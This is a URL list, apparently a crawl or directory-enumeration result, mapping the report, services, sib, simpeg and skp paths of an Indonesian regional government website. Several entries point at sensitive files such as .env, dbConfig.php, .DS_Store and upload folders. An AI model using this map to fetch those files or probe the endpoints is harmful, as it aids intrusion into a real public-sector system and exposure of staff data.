http://sibkd.semarangkab.go.id/report/pdf/license.txt
http://sibkd.semarangkab.go.id/report/pdf/makefont/
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1250.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1251.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1252.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1253.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1254.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1255.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1257.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp1258.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/cp874.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-1.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-11.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-15.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-16.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-2.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-4.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-5.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-7.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/iso-8859-9.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/koi8-r.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/koi8-u.map
http://sibkd.semarangkab.go.id/report/pdf/makefont/makefont.php
http://sibkd.semarangkab.go.id/report/pdf/makefont/ttfparser.php
http://sibkd.semarangkab.go.id/report/pdf/tutorial/
http://sibkd.semarangkab.go.id/report/pencatat_tanggal.txt
http://sibkd.semarangkab.go.id/report/rabsenget.php
http://sibkd.semarangkab.go.id/services/
http://sibkd.semarangkab.go.id/services/eksternal/
http://sibkd.semarangkab.go.id/services/eksternal/dbConfig.php

http://sibkd.semarangkab.go.id/services/eksternal/index.php19022019
http://sibkd.semarangkab.go.id/services/eksternal/index1.php
http://sibkd.semarangkab.go.id/services/internal/
http://sibkd.semarangkab.go.id/services/internal/index.php
http://sibkd.semarangkab.go.id/sib
http://sibkd.semarangkab.go.id/sib/
http://sibkd.semarangkab.go.id/sib/assets/
http://sibkd.semarangkab.go.id/sib/assets/css/
http://sibkd.semarangkab.go.id/sib/assets/css/animate.css
http://sibkd.semarangkab.go.id/sib/assets/css/bootstrap.min.css
http://sibkd.semarangkab.go.id/sib/assets/css/cs-skin-elastic.css
http://sibkd.semarangkab.go.id/sib/assets/css/flag-icon.min.css
http://sibkd.semarangkab.go.id/sib/assets/css/font-awesome.min.css
http://sibkd.semarangkab.go.id/sib/assets/css/lib/
http://sibkd.semarangkab.go.id/sib/assets/css/lib/vector-map/
http://sibkd.semarangkab.go.id/sib/assets/css/lib/vector-map/jqvmap.min.css
http://sibkd.semarangkab.go.id/sib/assets/css/normalize.css
http://sibkd.semarangkab.go.id/sib/assets/css/themify-icons.css
http://sibkd.semarangkab.go.id/sib/assets/fonts/
http://sibkd.semarangkab.go.id/sib/assets/fonts/index.html
http://sibkd.semarangkab.go.id/sib/assets/index.php
http://sibkd.semarangkab.go.id/sib/assets/js/
http://sibkd.semarangkab.go.id/sib/assets/js/dashboard.js
http://sibkd.semarangkab.go.id/sib/assets/js/index.html
http://sibkd.semarangkab.go.id/sib/assets/js/lib/
http://sibkd.semarangkab.go.id/sib/assets/js/lib/chart-js/
http://sibkd.semarangkab.go.id/sib/assets/js/lib/chart-js/Chart.bundle.js
http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/
http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/country/
http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/country/jquery.vmap.world.js
http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/jquery.vmap.js
http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/jquery.vmap.min.js
http://sibkd.semarangkab.go.id/sib/assets/js/lib/vector-map/jquery.vmap.sampledata.js
http://sibkd.semarangkab.go.id/sib/assets/js/main.js
http://sibkd.semarangkab.go.id/sib/assets/js/plugins.js
http://sibkd.semarangkab.go.id/sib/assets/js/popper.min.js
http://sibkd.semarangkab.go.id/sib/assets/js/vendor/
http://sibkd.semarangkab.go.id/sib/assets/js/vendor/index.html
http://sibkd.semarangkab.go.id/sib/assets/js/vendor/jquery-2.1.4.min.js
http://sibkd.semarangkab.go.id/sib/assets/js/widgets.js
http://sibkd.semarangkab.go.id/sib/assets/scss/
http://sibkd.semarangkab.go.id/sib/assets/scss/style.css
http://sibkd.semarangkab.go.id/sib/images/
http://sibkd.semarangkab.go.id/sib/images/index.php
http://sibkd.semarangkab.go.id/sib/index.html
http://sibkd.semarangkab.go.id/sib/main.php
http://sibkd.semarangkab.go.id/sib/module/
http://sibkd.semarangkab.go.id/sib/module/combo_formasi_per_pd.php
http://sibkd.semarangkab.go.id/sib/module/combo_formasi_per_pd_only.php
http://sibkd.semarangkab.go.id/sib/module/find_pegawai.php
http://sibkd.semarangkab.go.id/sib/module/get_lokasi_jabatan.php
http://sibkd.semarangkab.go.id/sib/module/get_max_formasi.php
http://sibkd.semarangkab.go.id/sib/module/get_pd.php
http://sibkd.semarangkab.go.id/sib/module/index.php
http://sibkd.semarangkab.go.id/sib/module/login.php
http://sibkd.semarangkab.go.id/sib/module/logout.php
http://sibkd.semarangkab.go.id/sib/module/posting_usulan.php
http://sibkd.semarangkab.go.id/sib/module/posting_usulan_kebutuhan.php
http://sibkd.semarangkab.go.id/sib/pages/
http://sibkd.semarangkab.go.id/sib/pages/index.html
http://sibkd.semarangkab.go.id/sib/pages/index.php

http://sibkd.semarangkab.go.id/sib/README.md
http://sibkd.semarangkab.go.id/simpeg
http://sibkd.semarangkab.go.id/simpeg/
http://sibkd.semarangkab.go.id/simpeg/.DS_Store
http://sibkd.semarangkab.go.id/simpeg/.env
http://sibkd.semarangkab.go.id/simpeg/.gitignore
http://sibkd.semarangkab.go.id/simpeg/auth/
http://sibkd.semarangkab.go.id/simpeg/auth/login
http://sibkd.semarangkab.go.id/simpeg/composer.json
http://sibkd.semarangkab.go.id/simpeg/composer.lock
http://sibkd.semarangkab.go.id/simpeg/epersonal/
http://sibkd.semarangkab.go.id/simpeg/epersonal/biodata/
http://sibkd.semarangkab.go.id/simpeg/epersonal/biodata/print/
http://sibkd.semarangkab.go.id/simpeg/epersonal/biodata/print/biodata
http://sibkd.semarangkab.go.id/simpeg/login
http://sibkd.semarangkab.go.id/simpeg/package.json
http://sibkd.semarangkab.go.id/simpeg/packages/
http://sibkd.semarangkab.go.id/simpeg/packages/login/
http://sibkd.semarangkab.go.id/simpeg/packages/login/css/
http://sibkd.semarangkab.go.id/simpeg/packages/login/css/bootstrap.min.css
http://sibkd.semarangkab.go.id/simpeg/packages/login/css/font-awesome.min.css
http://sibkd.semarangkab.go.id/simpeg/packages/login/css/login-style.css
http://sibkd.semarangkab.go.id/simpeg/packages/login/img/
http://sibkd.semarangkab.go.id/simpeg/packages/login/js/
http://sibkd.semarangkab.go.id/simpeg/packages/login/js/bootstrap.min.js
http://sibkd.semarangkab.go.id/simpeg/packages/login/js/html5shiv.js
http://sibkd.semarangkab.go.id/simpeg/packages/login/js/jquery.js
http://sibkd.semarangkab.go.id/simpeg/packages/login/js/respond.min.js
http://sibkd.semarangkab.go.id/simpeg/packages/upload/
http://sibkd.semarangkab.go.id/simpeg/packages/upload/photo/
http://sibkd.semarangkab.go.id/simpeg/packages/upload/photo/pegawai/
http://sibkd.semarangkab.go.id/simpeg/packages/upload/photo/slider/
http://sibkd.semarangkab.go.id/simpeg/readme.md
http://sibkd.semarangkab.go.id/simpeg/storage/
http://sibkd.semarangkab.go.id/simpeg/tests/
http://sibkd.semarangkab.go.id/skp
http://sibkd.semarangkab.go.id/skp/
http://sibkd.semarangkab.go.id/skp/.DS_Store
http://sibkd.semarangkab.go.id/skp/composer.json
http://sibkd.semarangkab.go.id/skp/composer.lock
http://sibkd.semarangkab.go.id/skp/login
http://sibkd.semarangkab.go.id/skp/modules/
http://sibkd.semarangkab.go.id/skp/modules/.DS_Store
http://sibkd.semarangkab.go.id/skp/packages/
http://sibkd.semarangkab.go.id/skp/packages/.DS_Store
http://sibkd.semarangkab.go.id/skp/packages/photo/
http://sibkd.semarangkab.go.id/skp/packages/photo/1/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/.DS_Store
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/bootstrap/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/bootstrap/fonts/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/bootstrap/js/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/bootstrap/js/bootstrap.min.js
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/jquery-1.11.0.js
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/login.css
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/ckeditor
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/ckeditor/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/font-awesome/

http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/font-awesome/css/
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/font-awesome/css/font-awesome.min.css
http://sibkd.semarangkab.go.id/skp/packages/tugumuda/claravel/assets/plugins/font-awesome/fonts/
http://sibkd.semarangkab.go.id/skp/packages/upload/
http://sibkd.semarangkab.go.id/skp/packages/upload/.DS_Store
http://sibkd.semarangkab.go.id/skp/packages/upload/icon/
http://sibkd.semarangkab.go.id/skp/packages/upload/photo/
http://sibkd.semarangkab.go.id/skp/packages/upload/users/
http://sibkd.semarangkab.go.id/skp/readme.md
http://sibkd.semarangkab.go.id/skp/vendor/
http://sibkd.semarangkab.go.id/skp/vendor/bin/
http://sibkd.semarangkab.go.id/vendor
http://sibkd.semarangkab.go.id/vendor/
http://sibkd.semarangkab.go.id/vendor/bin